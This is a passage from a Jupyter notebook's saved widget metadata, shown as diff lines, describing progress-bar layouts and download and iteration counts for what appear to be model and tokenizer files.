92.0MB/s]" + } + }, + "7d654e85d8794af197e72f905086b9a7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7d9b49d6dbfc41988b2c3c6ac40a3cae": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7debd7332d4a4811ad653398344420f4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7f0e7d1bd12b4d0eb800a3d62901c4a8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cbcfc8e9b02348a182722c846cecca2a", + "placeholder": "​", + "style": "IPY_MODEL_ece36cbb62cd46a8b452fac32dce3493", + "value": " 50/50 [00:28<00:00, 1.73it/s]" + } + }, + "7f29483722954a3697afb9cb24430e8c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_209020cdb39942178adbc7cc3acf1cb0", + "placeholder": "​", + "style": "IPY_MODEL_e68ae70236b04e5aa6c5de879ca81e9e", + "value": "Downloading (…)okenizer_config.json: 100%" + } + }, + "80916d39f0bc426488b41a013196cc42": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d44653455b8a490997da5bfd8672cf7e", + "max": 246184375, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_090573574f8d48a1b9d2918d14c75c9a", + "value": 246184375 + } + }, + "8120fb8694244e5dbbc448eb2a6e03dc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "833477c7e6144deba2f9a7e1e3fb7c12": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "87d35ca268744638ad484ccf1a7fe2ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "89129c49f76e497a8fb218b8126dc4d9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_4ac86feba0924fad8c82be426d774ce4", + "IPY_MODEL_379e92c07edc4ad28165c8b0926746d5", + "IPY_MODEL_a144d82a835e4d48b987fecd5af96b6c" + ], + "layout": "IPY_MODEL_fc3fc7c8bb714f39a67963f2792b527d" + } + }, + "8924eb6712b146bd977f21c46531338b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ede27ca6747240eeb41a9dbde664e8a7", + "IPY_MODEL_45ed824c2cd746c09e61dc8a2bdd3384", + "IPY_MODEL_3f94af984ba84b838643b03caf8d2d4e" + ], + "layout": "IPY_MODEL_2e9985de92164304b5b4c8b723d24cf1" + } + }, + "8ae0743d19d74e3aabfe4b5ba54fd7ca": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0072680043674280bcde9c4bc19b3704", + "IPY_MODEL_13e357cba1ee4e31887f2c260f2cea15", + "IPY_MODEL_41c2930f406d484ca7e1e8a4c13f9b35" + ], + "layout": "IPY_MODEL_0468827f86394f7baf78d44264a225e7" + } + }, + "8bef2ecbcbcf4ad1bb5e495a52ca2aa6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_62924d5b19784abcaa672d995fc15127", + "placeholder": "​", + "style": "IPY_MODEL_833477c7e6144deba2f9a7e1e3fb7c12", + "value": " 511/511 [00:00<00:00, 11.2kB/s]" + } + }, + "9307ea294e42484eb32d8b07fddd33dd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b02317ef6e514fa9b2c58c64e7702533", + "placeholder": "​", + "style": "IPY_MODEL_df83f20f558f43b9bf1e447316e9de4a", + "value": "Downloading (…)tokenizer/vocab.json: 100%" + } + }, + "9512cb52fe3a44d0bd0f52daed6139d9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_de35fccd4b4a433e8b468ef3981bede9", + "IPY_MODEL_ff35f85d2db0404da5e01fbda308197a", + "IPY_MODEL_221469404d3946f39b4c97e708385b88" + ], + "layout": "IPY_MODEL_1d6c6e3129bc4702afae1facf2b8ba6b" + } + }, + "98eab664cdee4999bb09af5abe60535f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "99777597ceee470ca8c8a34f4846435a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9984e9b0a929433ab6e4501538a60c80": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9a2aa30940934458ae53131db74a7406": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9ac0da7a10a54fbe897b21184cdf154f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_faa6428f4b7b4cb996cc4d5ca9bcb38c", + "placeholder": "​", + "style": "IPY_MODEL_b4f99623a96f4d18989cf117b4c91660", + "value": " 341/341 [00:00<00:00, 3.56kB/s]" + } + }, + "9c751e805d96415d9608c2422906d76e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9e1a5419468d4549a38b8d23aa14f6d3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a144d82a835e4d48b987fecd5af96b6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d78921386a5b493ab86718077b16a945", + "placeholder": "​", + "style": "IPY_MODEL_42ad2fe1e9ee44dcb9d3b7c6af9a87a1", + "value": " 12/12 [00:16<00:00, 1.91s/it]" + } + }, + "a432cb1a0bc7418bb90248973e91c452": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a509f68381854d7da52a21dde99a9f62": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1cfa604ca2924c25930887b466ac3e9b", + "max": 1059962, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_26aac0b253ba4e2e8f19acfa0bead5a7", + "value": 1059962 + } + }, + "a99edd082dff4f928c3b75abf84ec0ec": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ac3ea0ea867b4c30bd4be87aaa602d42": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ad2f2fd194ac4bca909e5af122370e3d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ad3538e88909423a9a8d109bd97745a5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_caf7f52d17334c0ea9141fb27dbb5bd1", + "max": 807, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3634354fd978434bbad0fd11d3e0b5fb", + "value": 807 + } + }, + "af474aa6c91344da9a968e7e2488b74c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_69faef33b09f4da7b1c11639102b2a4f", + "placeholder": "​", + "style": "IPY_MODEL_87d35ca268744638ad484ccf1a7fe2ed", + "value": " 50/50 [00:29<00:00, 1.65it/s]" + } + }, + "b02317ef6e514fa9b2c58c64e7702533": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b4f99623a96f4d18989cf117b4c91660": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b63595513fec4e81a0a8200294faf7ba": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "b75a2474c46f4f3b9d84cb981bfffac7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bc42d1c7cdcd4064a1dbcc3eb1f3009b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "bf0a27e1f6f3454fafa2bb04a16e4ba6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c6305a1adcd946d2a4c66c05e614bcf1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f369cc94c2544de3acdbcd35cac6d393", + "max": 50, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_0bec42769e7e4492aedd4afb63a91ff3", + "value": 50 + } + }, + "c79ef9b35d014fdfb9f88fc09e870d01": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c99c614b55ba44fbb2927642128fba9b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ca063f5b64d74bc9be303eebe7092f81": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "caf7f52d17334c0ea9141fb27dbb5bd1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cb68043195a642b3a495d82d87ffd1b8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_597a8eacf00b406ab23af333aea97e3c", + "max": 577, + "min": 0, + "orientation": "horizontal", + "style": 